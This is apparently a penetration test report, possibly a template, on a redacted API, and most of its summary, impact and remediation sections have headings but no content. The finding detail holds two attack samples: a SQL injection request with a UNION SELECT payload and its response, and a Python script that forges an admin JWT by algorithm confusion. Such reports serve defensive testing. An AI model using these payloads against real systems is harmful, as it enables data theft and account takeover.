Penetration Test Report
[REDACTED] API

Executive Summary

Assessment scope

Methodology

The assessment followed the OWASP Testing Guide v4.2 and OWASP API Security Top 10 (2023) as the primary methodology framework, supplemented by PTES (Penetration Testing Execution Standard) for reconnaissance and exploitation phases. CVSS v3.1 was used for vulnerability scoring. Testing was conducted manually with tooling support from Burp Suite Professional, sqlmap, and custom scripts developed by the Plaidnox team.

All testing activities were performed exclusively within the agreed scope boundaries. No production systems were accessed. A full activity log is available upon request under the engagement agreement.

Vulnerability overview

All findings at a glance

Technical finding detail

The following section documents each finding in full detail, including reproduction steps, CVSS breakdown, and evidence of exploitability. All findings were verified in the staging environment under the authorised engagement.

GET /api/v3/transactions/search?query=1'+UNION+SELECT+version(),null,null,null-- HTTP/1.1
Host: api.staging.reducted.io

# Response (truncated)
{
  "results": [
    { "id": "PostgreSQL 14.5 on x86_64-pc-linux-gnu..." }
  ]
}

import jwt, requests

# Fetch public key from JWKS endpoint
pub_key = requests.get("https://api.staging.reducted.io/auth/.well-known/jwks.json")
                  .json()["keys"][0]["x5c"][0]

# Forge token using public key as HS256 secret
forged = jwt.encode(
    {"sub": "admin_user_id", "role": "ADMIN", "exp": 9999999999},
    pub_key,
    algorithm="HS256"
)
# Result: forged token accepted by the API as a valid admin session

Impact assessment

The vulnerabilities identified in this assessment collectively represent a severe risk to [REDACTED]'s customer data, regulatory standing, and operational continuity. The following summarises the business-level impact categories.

Data confidentiality

Authentication integrity

Regulatory exposure

Remediation roadmap

Remediation is the structured process of eliminating or sufficiently mitigating each identified vulnerability so that the associated risk falls within the organisation's accepted risk tolerance. This section defines what to fix, how to fix it, and who owns it — mapped to the severity tier of each finding.

Effective remediation is not a one-time event. Each fix should be implemented in a development branch, code-reviewed by a peer, deployed to staging, and verified against the original reproduction steps before being promoted to production. Plaidnox recommends scheduling a remediation verification assessment once all Critical and High findings are addressed — this is a targeted retest of the specific attack paths, not a full engagement.

Immediate actions — Critical findings (resolve before next deployment)

Short-term actions — High findings (resolve within 14 days)

Backlog actions — Medium findings (resolve within next 2 sprints)

Low priority — Low & Informational findings (track in backlog)

References and further reading

• OWASP API Security Top 10 (2023) — owasp.org/API-Security
• OWASP Testing Guide v4.2 — comprehensive web application testing methodology — owasp.org/www-project-web-security-testing-guide
• CVSS v3.1 Specification Document — FIRST.org — first.org/cvss
• PortSwigger Web Security Academy — SQL Injection — portswigger.net/web-security/sql-injection
• PortSwigger Research — JWT Algorithm Confusion Attacks — portswigger.net/web-security/jwt/algorithm-confusion
• PTES — Penetration Testing Execution Standard — pentest-standard.org
• CWE-89: Improper Neutralisation of Special Elements used in an SQL Command — cwe.mitre.org
• RFC 7519 — JSON Web Token (JWT) — datatracker.ietf.org/doc/html/rfc7519
• Plaidnox InfoSec — plaidnox.com